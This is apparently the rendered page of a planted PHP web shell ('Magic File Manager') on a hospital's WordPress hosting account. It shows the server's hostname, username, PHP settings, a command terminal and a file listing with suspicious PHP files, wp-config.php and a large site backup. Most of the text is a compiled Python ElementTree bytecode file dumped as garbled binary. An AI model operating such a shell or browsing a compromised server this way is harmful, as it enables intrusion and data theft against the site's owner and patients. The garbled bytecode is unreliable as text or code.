✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log2.7 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 \ÅÞã@sHdZddddddddd d d d d ddddddddddgZdZddlZddlZddlZddlZddlZddlZddl m Z Gdd „d e ƒZ dd„Z Gdd„dƒZifd d„Zd^d!d„Zd_d"d „ZeZGd#d „d ƒZGd$d„dƒZejd%d&„ƒZd`d'd(„Zd)d*„ZdaZy eeƒZWnek �r"YnXd8d9„Zd:d;„Zeeed<œZd=d„Zd>d?d@dAdBdCdDdEœZ e e_ dFdG„Z!dHdI„Z"dJdK„Z#dLdM„Z$dbdNdOœdPd„Z%GdQdR„dRej&ƒZ'dcdNdOœdSd„Z(dTd„Z)dddUd „Z*dedVd„Z+GdWd„dƒZ,dfdXd„Z-dgdYd„Z.e-Z/dhdZd„Z0Gd[d„dƒZ1Gd\d„dƒZ2yeZ3dd]l4TWne5k �rBYnXdS)iaLightweight XML support for Python. XML is an inherently hierarchical data format, and the most natural way to represent it is with a tree. This module has two classes for this purpose: 1. ElementTree represents the whole XML document as a tree and 2. Element represents a single node in this tree. Interactions with the whole document (reading and writing to/from files) are usually done on the ElementTree level. Interactions with a single XML element and its sub-elements are done on the Element level. Element is a flexible container object designed to store hierarchical data structures in memory. It can be described as a cross between a list and a dictionary. Each Element has a number of properties associated with it: 'tag' - a string containing the element's name. 'attributes' - a Python dictionary storing the element's attributes. 'text' - a string containing the element's text content. 'tail' - an optional string containing text after the element's end tag. And a number of child elements stored in a Python sequence. To create an element instance, use the Element constructor, or the SubElement factory function. You can also use the ElementTree class to wrap an element structure and convert it to and from XML. ÚCommentÚdumpÚElementÚ ElementTreeÚ fromstringÚfromstringlistÚ iselementÚ iterparseÚparseÚ ParseErrorÚPIÚProcessingInstructionÚQNameÚ SubElementÚtostringÚ tostringlistÚ TreeBuilderÚVERSIONÚXMLÚXMLIDÚ XMLParserÚ XMLPullParserÚregister_namespacez1.3.0éNé)Ú ElementPathc@seZdZdZdS)r zìAn error when parsing an XML document. In addition to its exception value, a ParseError contains two extra attributes: 'code' - the specific exception code 'position' - the line and column of the error N)Ú__name__Ú __module__Ú __qualname__Ú__doc__©rrú-/usr/lib64/python3.6/xml/etree/ElementTree.pyr hscCs t|dƒS)z2Return True if *element* appears to be an Element.Útag)Úhasattr)Úelementrrr rvsc@s eZdZdZdZdZdZdZifdd„Zdd„Z dd„Z d d „Z d d „Z d d„Z dd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd „Zd9d!d"„Zd:d#d$„Zd;d%d&„Zdd3d4„Z d?d5d6„Z!d7d8„Z"dS)@rahAn XML element. This class is the reference implementation of the Element interface. An element's length is its number of subelements. That means if you want to check if an element is truly empty, you should check BOTH its length AND its text attribute. The element tag, attribute names, and attribute values can be either bytes or strings. *tag* is the element name. *attrib* is an optional dictionary containing element attributes. *extra* are additional element attributes given as keyword arguments. Example form: text...tail NcKsDt|tƒstd|jjfƒ‚|jƒ}|j|ƒ||_||_g|_ dS)Nzattrib must be dict, not %s) Ú isinstanceÚdictÚ TypeErrorÚ __class__rÚcopyÚupdater!ÚattribÚ _children)Úselfr!r*Úextrarrr Ú__init__§s  zElement.__init__cCsd|jj|jt|ƒfS)Nz<%s %r at %#x>)r'rr!Úid)r,rrr Ú__repr__±szElement.__repr__cCs |j||ƒS)zýCreate a new element with the same type. *tag* is a string containing the element name. *attrib* is a dictionary containing the element attributes. Do not call this method, use the SubElement factory function instead. )r')r,r!r*rrr Ú makeelement´s zElement.makeelementcCs0|j|j|jƒ}|j|_|j|_||dd…<|S)zŠReturn copy of current element. This creates a shallow copy. Subelements will be shared with the original tree. N)r1r!r*ÚtextÚtail)r,Úelemrrr r(¿s  z Element.copycCs t|jƒS)N)Úlenr+)r,rrr Ú__len__ÌszElement.__len__cCstjdtdd�t|jƒdkS)NzyThe behavior of this method will change in future versions. Use specific 'len(elem)' or 'elem is not None' test instead.é)Ú stacklevelr)ÚwarningsÚwarnÚ FutureWarningr5r+)r,rrr Ú__bool__Ïs zElement.__bool__cCs |j|S)N)r+)r,Úindexrrr Ú __getitem__×szElement.__getitem__cCs||j|<dS)N)r+)r,r=r#rrr Ú __setitem__ÚszElement.__setitem__cCs |j|=dS)N)r+)r,r=rrr Ú __delitem__âszElement.__delitem__cCs|j|ƒ|jj|ƒdS)aAdd *subelement* to the end of this element. The new element will appear in document order after the last existing subelement (or directly after the text, if it's the first subelement), but before the end tag for this element. N)Ú_assert_is_elementr+Úappend)r,Ú subelementrrr rBås zElement.appendcCs(x|D]}|j|ƒqW|jj|ƒdS)zkAppend subelements from a sequence. *elements* is a sequence with zero or more elements. N)rAr+Úextend)r,Úelementsr#rrr rDðs zElement.extendcCs|j|ƒ|jj||ƒdS)z(Insert *subelement* at position *index*.N)rAr+Úinsert)r,r=rCrrr rFús zElement.insertcCs t|tƒstdt|ƒjƒ‚dS)Nzexpected an Element, not %s)r$Ú _Element_Pyr&Útyper)r,Úerrr rAÿs zElement._assert_is_elementcCs|jj|ƒdS)a±Remove matching subelement. Unlike the find methods, this method compares elements based on identity, NOT ON tag value or contents. To remove subelements by other means, the easiest way is to use a list comprehension to select what elements to keep, and then use slice assignment to update the parent element. ValueError is raised if a matching element could not be found. N)r+Úremove)r,rCrrr rJs zElement.removecCstjdtdd�|jS)z`(Deprecated) Return all subelements. Elements are returned in document order. zaThis method will be removed in future versions. Use 'list(elem)' or iteration over elem instead.r7)r8)r9r:ÚDeprecationWarningr+)r,rrr Ú getchildrens zElement.getchildrencCstj|||ƒS)aFind first matching element by tag name or path. *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return the first matching element, or None if no element was found. )rÚfind)r,ÚpathÚ namespacesrrr rM!s z Element.findcCstj||||ƒS)aäFind text for first matching element by tag name or path. *path* is a string having either an element tag or an XPath, *default* is the value to return if the element was not found, *namespaces* is an optional mapping from namespace prefix to full name. Return text content of first matching element, or default value if none was found. Note that if an element is found having no text content, the empty string is returned. )rÚfindtext)r,rNÚdefaultrOrrr rP,s zElement.findtextcCstj|||ƒS)aFind all matching subelements by tag name or path. *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Returns list containing all matching elements in document order. )rÚfindall)r,rNrOrrr rR:s zElement.findallcCstj|||ƒS)a Find all matching subelements by tag name or path. *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return an iterable yielding all matching elements in document order. )rÚiterfind)r,rNrOrrr rSEs zElement.iterfindcCs |jjƒg|_d|_|_dS)z–Reset element. This function removes all subelements, clears all attributes, and sets the text and tail attributes to None. N)r*Úclearr+r2r3)r,rrr rTPs z Element.clearcCs|jj||ƒS)agGet element attribute. Equivalent to attrib.get, but some implementations may handle this a bit more efficiently. *key* is what attribute to look for, and *default* is what to return if the attribute was not found. Returns a string containing the attribute value, or the default if attribute was not found. )r*Úget)r,ÚkeyrQrrr rU[s z Element.getcCs||j|<dS)zïSet element attribute. Equivalent to attrib[key] = value, but some implementations may handle this a bit more efficiently. *key* is what attribute to set, and *value* is the attribute value to set it to. N)r*)r,rVÚvaluerrr Úsethsz Element.setcCs |jjƒS)z¡Get list of attribute names. Names are returned in an arbitrary order, just like an ordinary Python dict. Equivalent to attrib.keys() )r*Úkeys)r,rrr rYrsz Element.keyscCs |jjƒS)z¿Get element attributes as a sequence. The attributes are returned in arbitrary order. Equivalent to attrib.items(). Return a list of (name, value) tuples. )r*Úitems)r,rrr rZ{s z Element.itemsccsH|dkr d}|dks|j|kr$|Vx|jD]}|j|ƒEdHq,WdS)aCreate tree iterator. The iterator loops over the element and all subelements in document order, returning all elements with a matching tag. If the tree structure is modified during iteration, new or removed elements may or may not be included. To get a stable set, use the list() function on the iterator, and loop over the resulting list. *tag* is what tags to look for (default is to return all elements) Return an iterator containing all the matching elements. Ú*N)r!r+Úiter)r,r!rIrrr r\†s  z Element.itercCstjdtdd�t|j|ƒƒS)NzbThis method will be removed in future versions. Use 'elem.iter()' or 'list(elem.iter())' instead.r7)r8)r9r:ÚPendingDeprecationWarningÚlistr\)r,r!rrr Ú getiterator�s zElement.getiteratorccs^|j}t|tƒ r|dk rdS|j}|r.|Vx*|D]"}|jƒEdH|j}|r4|Vq4WdS)z•Create text iterator. The iterator loops over the element and all subelements in document order, returning all inner text. N)r!r$Ústrr2Úitertextr3)r,r!ÚtrIrrr ra¦s zElement.itertext)N)NN)N)N)N)N)N)#rrrrr!r*r2r3r.r0r1r(r6r<r>r?r@rBrDrFrArJrLrMrPrRrSrTrUrXrYrZr\r_rarrrr r{s@            cKs,|jƒ}|j|ƒ|j||ƒ}|j|ƒ|S)a˜Subelement factory which creates an element instance, and appends it to an existing parent. The element tag, attribute names, and attribute values can be either bytes or Unicode strings. *parent* is the parent element, *tag* is the subelements name, *attrib* is an optional directory containing element attributes, *extra* are additional attributes given as keyword arguments. )r(r)r1rB)Úparentr!r*r-r#rrr rºs    cCsttƒ}||_|S)zÂComment element factory. This function creates a special element which the standard serializer serializes as an XML comment. *text* is a string containing the comment string. )rrr2)r2r#rrr rÍs cCs&ttƒ}||_|r"|jd||_|S)a*Processing Instruction element factory. This function creates a special element which the standard serializer serializes as an XML comment. *target* is a string containing the processing instruction, *text* is a string containing the processing instruction contents, if any. ú )rr r2)Útargetr2r#rrr r Ûs c@sZeZdZdZddd„Zdd„Zdd„Zd d „Zd d „Zd d„Z dd„Z dd„Z dd„Z dS)r aßQualified name wrapper. This class can be used to wrap a QName attribute value in order to get proper namespace handing on output. *text_or_uri* is a string containing the QName value either in the form {uri}local, or if the tag argument is given, the URI part of a QName. *tag* is an optional argument which if given, will make the first argument (text_or_uri) be interpreted as a URI, and this argument (tag) be interpreted as a local name. NcCs|rd||f}||_dS)Nz{%s}%s)r2)r,Z text_or_urir!rrr r.üs zQName.__init__cCs|jS)N)r2)r,rrr Ú__str__sz QName.__str__cCsd|jj|jfS)Nz<%s %r>)r'rr2)r,rrr r0szQName.__repr__cCs t|jƒS)N)Úhashr2)r,rrr Ú__hash__szQName.__hash__cCs t|tƒr|j|jkS|j|kS)N)r$r r2)r,Úotherrrr Ú__le__s  z QName.__le__cCs t|tƒr|j|jkS|j|kS)N)r$r r2)r,rirrr Ú__lt__ s  z QName.__lt__cCs t|tƒr|j|jkS|j|kS)N)r$r r2)r,rirrr Ú__ge__s  z QName.__ge__cCs t|tƒr|j|jkS|j|kS)N)r$r r2)r,rirrr Ú__gt__s  z QName.__gt__cCs t|tƒr|j|jkS|j|kS)N)r$r r2)r,rirrr Ú__eq__s  z QName.__eq__)N) rrrrr.rfr0rhrjrkrlrmrnrrrr r îs  c@sˆeZdZdZddd„Zdd„Zdd„Zdd d „Zdd d „Zd d d„Z d!dd„Z d"dd„Z d#dd„Z d$dd„Z d%ddœdd„Zdd„ZdS)&ra%An XML element hierarchy. This class also provides support for serialization to and from standard XML. *element* is an optional root element node, *file* is an optional file handle or file name of an XML file whose contents will be used to initialize the tree with. NcCs||_|r|j|ƒdS)N)Ú_rootr )r,r#Úfilerrr r.)szElementTree.__init__cCs|jS)z!Return root element of this tree.)ro)r,rrr Úgetroot/szElementTree.getrootcCs ||_dS)z§Replace root element of this tree. This will discard the current contents of the tree and replace it with the given element. Use with care! N)ro)r,r#rrr Ú_setroot3szElementTree._setrootc CsŠd}t|dƒst|dƒ}d}zZ|dkrHtƒ}t|dƒrH|j|ƒ|_|jSx|jdƒ}|sZP|j|ƒqJW|jƒ|_|jS|r„|jƒXdS)a=Load external XML document into element tree. *source* is a file name or file object, *parser* is an optional parser instance that defaults to XMLParser. ParseError is raised if the parser fails to parse the document. Returns the root element of the given source document. FÚreadÚrbTNÚ _parse_wholei)r"ÚopenrrurorsÚfeedÚclose)r,ÚsourceÚparserÚ close_sourceÚdatarrr r =s&       zElementTree.parsecCs |jj|ƒS)zøCreate and return tree iterator for the root element. The iterator loops over all elements in this tree, in document order. *tag* is a string with the tag name to iterate over (default is to return all elements). )ror\)r,r!rrr r\bs zElementTree.itercCstjdtdd�t|j|ƒƒS)NzbThis method will be removed in future versions. Use 'tree.iter()' or 'list(tree.iter())' instead.r7)r8)r9r:r]r^r\)r,r!rrr r_os zElementTree.getiteratorcCs:|dd…dkr,d|}tjd|tdd�|jj||ƒS)a\Find first matching element by tag name or path. Same as getroot().find(path), which is Element.find() *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return the first matching element, or None if no element was found. Nrú/Ú.z‡This search is broken in 1.3 and earlier, and will be fixed in a future version. If you rely on the current behaviour, change it to %rr7)r8)r9r:r;rorM)r,rNrOrrr rMxs  zElementTree.findcCs<|dd…dkr,d|}tjd|tdd�|jj|||ƒS)aeFind first matching element by tag name or path. Same as getroot().findtext(path), which is Element.findtext() *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return the first matching element, or None if no element was found. Nrr}r~z‡This search is broken in 1.3 and earlier, and will be fixed in a future version. If you rely on the current behaviour, change it to %rr7)r8)r9r:r;rorP)r,rNrQrOrrr rPŽs  zElementTree.findtextcCs:|dd…dkr,d|}tjd|tdd�|jj||ƒS)aaFind all matching subelements by tag name or path. Same as getroot().findall(path), which is Element.findall(). *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return list containing all matching elements in document order. Nrr}r~z‡This search is broken in 1.3 and earlier, and will be fixed in a future version. If you rely on the current behaviour, change it to %rr7)r8)r9r:r;rorR)r,rNrOrrr rR¤s  zElementTree.findallcCs:|dd…dkr,d|}tjd|tdd�|jj||ƒS)agFind all matching subelements by tag name or path. Same as getroot().iterfind(path), which is element.iterfind() *path* is a string having either an element tag or an XPath, *namespaces* is an optional mapping from namespace prefix to full name. Return an iterable yielding all matching elements in document order. Nrr}r~z‡This search is broken in 1.3 and earlier, and will be fixed in a future version. If you rely on the current behaviour, change it to %rr7)r8)r9r:r;rorS)r,rNrOrrr rSºs  zElementTree.iterfindT)Úshort_empty_elementscCsÞ|s d}n|tkrtd|ƒ‚|s4|dkr0d}nd}|jƒ}t||ƒ�Ž}|dkrŽ|sd|dkrŽ|d krŽ|} |dkr€ddl} | jƒ} |d | fƒ|d kr¤t||jƒn,t|j|ƒ\} } t|} | ||j| | |d �WdQRXdS) aòWrite element tree to a file as XML. Arguments: *file_or_filename* -- file name or a file object opened for writing *encoding* -- the output encoding (default: US-ASCII) *xml_declaration* -- bool indicating if an XML declaration should be added to the output. If None, an XML declaration is added if encoding IS NOT either of: US-ASCII, UTF-8, or Unicode *default_namespace* -- sets the default XML namespace (for "xmlns") *method* -- either "xml" (default), "html, "text", or "c14n" *short_empty_elements* -- controls the formatting of elements that contain no content. If True (default) they are emitted as a single self-closed tag, otherwise they are emitted as a pair of start/end tags Úxmlzunknown method %rÚc14núutf-8úus-asciiNÚunicoderz$ r2)r)r‚rƒr„) Ú _serializeÚ ValueErrorÚlowerÚ _get_writerÚlocaleÚgetpreferredencodingÚ_serialize_textroÚ _namespaces)r,Úfile_or_filenameÚencodingZxml_declarationÚdefault_namespaceÚmethodrZ enc_lowerÚwriteZdeclared_encodingr‰ÚqnamesrOZ serializerrr r‘Ðs2     zElementTree.writecCs|j|dd�S)Nr�)r�)r‘)r,rprrr Ú write_c14n szElementTree.write_c14n)NN)N)N)N)N)NN)N)N)NNNN)rrrrr.rqrrr r\r_rMrPrRrSr‘r“rrrr rs"   %    5ccs"y |j}WnPtk rZ|dkr.t|dƒ}nt|d|dd�}|�|jVWdQRXYnÄX|dkrl|Vn²tjƒ�¤}t|tjƒrˆ|}nft|tjƒr¬tj |ƒ}|j |j ƒnBtjƒ}dd„|_ ||_y|j |_ |j|_Wntk rìYnXtj||ddd�}|j |j ƒ|jVWdQRXdS) Nr„ÚwÚxmlcharrefreplace)rŽÚerrorscSsdS)NTrrrrr Ú3sz_get_writer..Ú )rŽr–Únewline)r‘ÚAttributeErrorrvÚ contextlibÚ ExitStackr$ÚioÚBufferedIOBaseÚ RawIOBaseÚBufferedWriterÚcallbackÚdetachÚwritableÚseekableÚtellÚ TextIOWrapper)r�rŽr‘rpÚstackrrr rˆs>         rˆcsddi‰i‰ˆrdˆˆ<‡‡‡fdd„}xê|jƒD]Þ}|j}t|tƒr\|jˆkr˜||jƒn.add_qname) r\r!r$r r2r`rr r­rZ)r4r�r°r!rVrWr2r)r�rOr’r rŒEs4      rŒc KsÌ|j}|j}|tkr$|d|ƒ�nŽ|tkr<|d|ƒ�nv||}|dkr€|r\|t|ƒƒx|D]}t|||d|d�qbW�n2|d|ƒt|jƒƒ} | s¢|�rD|rèx@t|jƒdd„d�D](\} } | rÐd| } |d | t | ƒfƒq¼WxZt| ƒD]N\} } t | t ƒ�r | j} t | t ƒ�r$|| j} nt | ƒ} |d || | fƒqòW|�s\t |ƒ�s\| �rª|d ƒ|�rv|t|ƒƒx |D]}t|||d|d��q|W|d |d ƒn|d ƒ|j �rÈ|t|j ƒƒdS)Nz z)rú.)rVú:z xmlns%s="%s"z %s="%s"ú>z)r!r2rr Ú _escape_cdataÚ_serialize_xmlr^rZÚsortedÚ_escape_attribr$r r5r3) r‘r4r’rOrÚkwargsr!r2rIrZÚvÚkrrr r¶‚sT             r¶ÚareaÚbaseÚbasefontÚbrÚcolÚframeÚhrÚimgÚinputÚisindexÚlinkÚmetaÚparamc KsÚ|j}|j}|tkr(|dt|ƒƒ�n˜|tkrD|dt|ƒƒ�n|||}|dkr„|rd|t|ƒƒx|D]}t|||dƒqjW�n<|d|ƒt|jƒƒ}|s¦|�rH|rìx@t|jƒdd„d�D](\} } | rÔd| } |d| t | ƒfƒqÀWxZt|ƒD]N\} } t | t ƒ�r| j} t | t ƒ�r(|| j} nt | ƒ} |d || | fƒqöW|d ƒ|j ƒ} |�rˆ| d k�sr| d k�r|||ƒn |t|ƒƒx|D]}t|||dƒ�qŽW| tk�rÀ|d |d ƒ|j�rÖ|t|jƒƒdS)Nz zr±cSs|dS)Nrr)r²rrr r—Ðsz!_serialize_html..)rVr³z xmlns%s="%s"z %s="%s"r´ZscriptZstylez|jddƒ}|Sttfk r`t|ƒYnXdS)Nú&z&r±z<r´z>)Úreplacer&ršr­)r2rrr rµ$s   rµc CsÊy¤d|kr|jddƒ}d|kr*|jddƒ}d|kr>|jddƒ}d|krR|jddƒ}d |krf|jd d ƒ}d |krz|jd d ƒ}d |krŽ|jd d ƒ}d |kr¢|jd dƒ}|Sttfk rÄt|ƒYnXdS)NrÐz&r±z<r´z>ú"z"z r˜ú z ú z )rÑr&ršr­)r2rrr r¸4s(        r¸c Csfy@d|kr|jddƒ}d|kr*|jddƒ}d|kr>|jddƒ}|Sttfk r`t|ƒYnXdS)NrÐz&r´z>rÒz")rÑr&ršr­)r2rrr rÊPs   rÊT)rcCs6|dkrtjƒntjƒ}t|ƒj||||d�|jƒS)aÄGenerate string representation of XML element. All subelements are included. If encoding is "unicode", a string is returned. Otherwise a bytestring is returned. *element* is an Element instance, *encoding* is an optional output encoding defaulting to US-ASCII, *method* is an optional output which can be one of "xml" (default), "html", "text" or "c14n". Returns an (optionally) encoded string containing the XML data. r„)r�r)r�ÚStringIOÚBytesIOrr‘Úgetvalue)r#rŽr�rÚstreamrrr r_sc@s8eZdZdZdd„Zdd„Zdd„Zdd „Zd d „Zd S) Ú_ListDataStreamz7An auxiliary stream accumulating into a list reference.cCs ||_dS)N)Úlst)r,rÚrrr r.tsz_ListDataStream.__init__cCsdS)NTr)r,rrr r£wsz_ListDataStream.writablecCsdS)NTr)r,rrr r¤zsz_ListDataStream.seekablecCs|jj|ƒdS)N)rÚrB)r,Úbrrr r‘}sz_ListDataStream.writecCs t|jƒS)N)r5rÚ)r,rrr r¥€sz_ListDataStream.tellN) rrrrr.r£r¤r‘r¥rrrr rÙrs rÙcCs&g}t|ƒ}t|ƒj||||d�|S)N)r�r)rÙrr‘)r#rŽr�rrÚrØrrr rƒs cCsNt|tƒst|ƒ}|jtjdd�|jƒj}| s>|ddkrJtjjdƒdS)a#Write element tree or element structure to sys.stdout. This function should be used for debugging only. *elem* is either an ElementTree, or a single Element. The exact output format is implementation dependent. In this version, it's written as an ordinary XML file. r„)rŽrr˜Néÿÿÿÿ)r$rr‘ÚsysÚstdoutrqr3)r4r3rrr rŒs  cCstƒ}|j||ƒ|S)zÕParse XML document into element tree. *source* is a filename or file object containing XML data, *parser* is an optional parser instance defaulting to XMLParser. Return an ElementTree instance. )rr )ryrzÚtreerrr r ¢s  csdt||d�‰‡‡‡‡fdd„‰G‡fdd„dtjƒ}|ƒ‰dˆ_Š~d‰tˆdƒs`tˆd ƒ‰d ‰ˆS) aJIncrementally parse XML document into ElementTree. This class also reports what's going on to the user based on the *events* it is initialized with. The supported events are the strings "start", "end", "start-ns" and "end-ns" (the "ns" events are used to get detailed namespace information). If *events* is omitted, only "end" events are reported. *source* is a filename or file object containing XML data, *events* is a list of events to report back, *parser* is an optional parser instance. Returns an iterator providing (event, elem) pairs. )ÚeventsÚ_parserc 3sbzNx,ˆjƒEdHˆjdƒ}|s"Pˆj|ƒqWˆjƒ}ˆjƒEdH|ˆ_Wdˆr\ˆjƒXdS)Néii@)Ú read_eventsrsrwÚ_close_and_return_rootÚrootrx)r|rå)r{ÚitÚ pullparserryrr ÚiteratorÂs  ziterparse..iteratorcseZdZ”ƒjZdS)z$iterparse..IterParseIteratorN)rrrÚ__next__r)rèrr ÚIterParseIteratorÒsrêNFrsrtT)rÚ collectionsÚIteratorrår"rv)ryràrzrêr)r{rærèrçryr r°s   c@s<eZdZd ddœdd„Zdd„Zdd„Zd d „Zd d „ZdS)rN)rácCs<tjƒ|_|pttƒd�|_|dkr(d}|jj|j|ƒdS)N)reÚend)rí)rëÚdequeÚ _events_queuerrráÚ _setevents)r,ràrárrr r.âs  zXMLPullParser.__init__cCsZ|jdkrtdƒ‚|rVy|jj|ƒWn.tk rT}z|jj|ƒWYdd}~XnXdS)zFeed encoded data to parser.Nz!feed() called after end of stream)rár†rwÚ SyntaxErrorrïrB)r,r|Úexcrrr rwîs zXMLPullParser.feedcCs|jjƒ}d|_|S)N)rárx)r,rårrr räøs z$XMLPullParser._close_and_return_rootcCs |jƒdS)z¦Finish feeding data to parser. Unlike XMLParser, does not return the root element. Use read_events() to consume elements from XMLPullParser. N)rä)r,rrr rxþszXMLPullParser.closeccs2|j}x&|r,|jƒ}t|tƒr$|‚q|VqWdS)zµReturn an iterator over currently available (event, elem) pairs. Events are consumed from the internal event queue as they are retrieved from the iterator. N)rïÚpopleftr$Ú Exception)r,ràÚeventrrr rãs  zXMLPullParser.read_events)N)rrrr.rwrärxrãrrrr ràs   cCs"|sttƒd�}|j|ƒ|jƒS)aParse XML document from string constant. This function can be used to embed "XML Literals" in Python code. *text* is a string containing XML data, *parser* is an optional parser instance, defaulting to the standard XMLParser. Returns an Element instance. )re)rrrwrx)r2rzrrr rs   cCsV|sttƒd�}|j|ƒ|jƒ}i}x&|jƒD]}|jdƒ}|r0|||<q0W||fS)aParse XML document from string constant for its IDs. *text* is a string containing XML data, *parser* is an optional parser instance, defaulting to the standard XMLParser. Returns an (Element, dict) tuple, in which the dict maps element id:s to elements. )rer/)rrrwrxr\rU)r2rzrßZidsr4r/rrr r&s     cCs0|sttƒd�}x|D]}|j|ƒqW|jƒS)zÝParse XML document from sequence of string fragments. *sequence* is a list of other sequence, *parser* is an optional parser instance, defaulting to the standard XMLParser. Returns an Element instance. )re)rrrwrx)Zsequencerzr2rrr r>s   c@sBeZdZdZddd„Zdd„Zdd„Zd d „Zd d „Zd d„Z dS)ra™Generic element structure builder. This builder converts a sequence of start, data, and end method calls to a well-formed element structure. You can use this class to build an element structure using a custom XML parser, or a parser for some other XML-like format. *element_factory* is an optional element factory which is called to create new Element instances, as necessary. NcCs.g|_g|_d|_d|_|dkr$t}||_dS)N)Ú_dataÚ_elemÚ_lastÚ_tailrÚ_factory)r,Zelement_factoryrrr r.]szTreeBuilder.__init__cCs|jS)z;Flush builder buffers and return toplevel document Element.)rø)r,rrr rxfszTreeBuilder.closecCs>|jr:|jdk r4dj|jƒ}|jr,||j_n||j_g|_dS)Nr¨)rörøÚjoinrùr3r2)r,r2rrr Ú_flushls   zTreeBuilder._flushcCs|jj|ƒdS)zAdd text to current element.N)rörB)r,r|rrr r|xszTreeBuilder.datacCsF|jƒ|j||ƒ|_}|jr0|jdj|ƒ|jj|ƒd|_|S)z†Open new element and return it. *tag* is the element name, *attrs* is a dict containing element attributes. rrrÜ)rürúrør÷rBrù)r,r!Zattrsr4rrr Ústart|s zTreeBuilder.startcCs |jƒ|jjƒ|_d|_|jS)zOClose and return current Element. *tag* is the element name. r)rür÷Úpoprørù)r,r!rrr rí‹s zTreeBuilder.end)N) rrrrr.rxrür|rýrírrrr rPs   c@sfeZdZdZddd„Zdd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z e Z dd„Z dd„ZdS)ra©Element structure builder for XML source data based on the expat parser. *html* are predefined HTML entities (deprecated and not supported), *target* is an optional target object which defaults to an instance of the standard TreeBuilder class, *encoding* is an optional encoding string which if given, overrides the encoding specified in the XML file: http://www.iana.org/assignments/character-sets rNcCs<yddlm}Wn>tk rNy ddl}Wntk rHtdƒ‚YnXYnX|j|dƒ}|dkrjtƒ}||_|_||_|_ |j |_ i|_ |j |_t|dƒrª|j|_t|dƒr¼|j|_t|dƒrÎ|j|_t|dƒrà|j|_t|d ƒrò|j|_d |_d |_d |_d|_i|_yd |j|_ Wnt!k �r6YnXdS) Nr)Úexpatz7No module named expat; use SimpleXMLTreeBuilder insteadrªrýrír|ÚcommentÚpirzExpat %d.%d.%d)"Ú xml.parsersrÿÚ ImportErrorZpyexpatZ ParserCreaterrzráreÚ_targetÚerrorÚ_errorÚ_namesÚ_defaultZDefaultHandlerExpandr"Ú_startÚStartElementHandlerÚ_endÚEndElementHandlerr|ZCharacterDataHandlerrZCommentHandlerrZProcessingInstructionHandlerZ buffer_textÚordered_attributesÚspecified_attributesÚ_doctypeÚentityÚ version_infoÚversionrš)r,rÍrerŽrÿrzrrr r.¦sF         zXMLParser.__init__cCs¶|j}|j}x¤|D]œ}|dkrDd|_d|_|||jfdd„}||_q|dkrf|||jfdd„}||_q|dkr„||fdd„}||_q|d kr¢||fd d„}||_ qt d |ƒ‚qWdS) NrýrcSs|||||ƒfƒdS)Nr)r!Z attrib_inrõrBrýrrr ÚhandlerÝsz%XMLParser._setevents..handlerrícSs||||ƒfƒdS)Nr)r!rõrBrírrr râszstart-nscSs|||p d|pdffƒdS)Nr¨r)r¯r®rõrBrrr rçszend-nscSs||dfƒdS)Nr)r¯rõrBrrr rëszunknown event %r) rárBr rr r r r ZStartNamespaceDeclHandlerZEndNamespaceDeclHandlerr†)r,Z events_queueZevents_to_reportrzrBZ event_namerrrr rðÐs( zXMLParser._seteventscCs&t|ƒ}|j|_|j|jf|_|‚dS)N)r ÚcodeÚlinenoÚoffsetZposition)r,rWÚerrrrr Ú _raiseerrorñszXMLParser._raiseerrorc CsFy|j|}Wn2tk r@|}d|kr2d|}||j|<YnX|S)Nrªr©)rÚKeyError)r,rVÚnamerrr Ú_fixname÷szXMLParser._fixnamecCsV|j}||ƒ}i}|rHx0tdt|ƒdƒD]}||d||||ƒ<q(W|jj||ƒS)Nrr7r)rÚranger5rerý)r,r!Z attr_listZfixnamer*Úirrr r szXMLParser._startcCs|jj|j|ƒƒS)N)rerír)r,r!rrr r szXMLParser._endc Csø|dd…}|dkr°y |jj}Wntk r4dSXy||j|dd…ƒWnZtk rªddlm}|jd||jj |jj fƒ}d|_ |jj |_ |jj |_ |‚YnX�nD|dkrÒ|dd…d krÒg|_�n"|jdk �rô|d krðd|_dS|jƒ}|�sdS|jj|ƒt|jƒ}|d k�rô|jd}|d k�rb|d k�rb|j\}}} } | �rŒ| dd…} n*|dk�rˆ|dk�rˆ|j\}}} d} ndSt|jdƒ�r´|jj|| | dd…ƒn:|j|jk�rî|j|| | dd…ƒ|j|| | 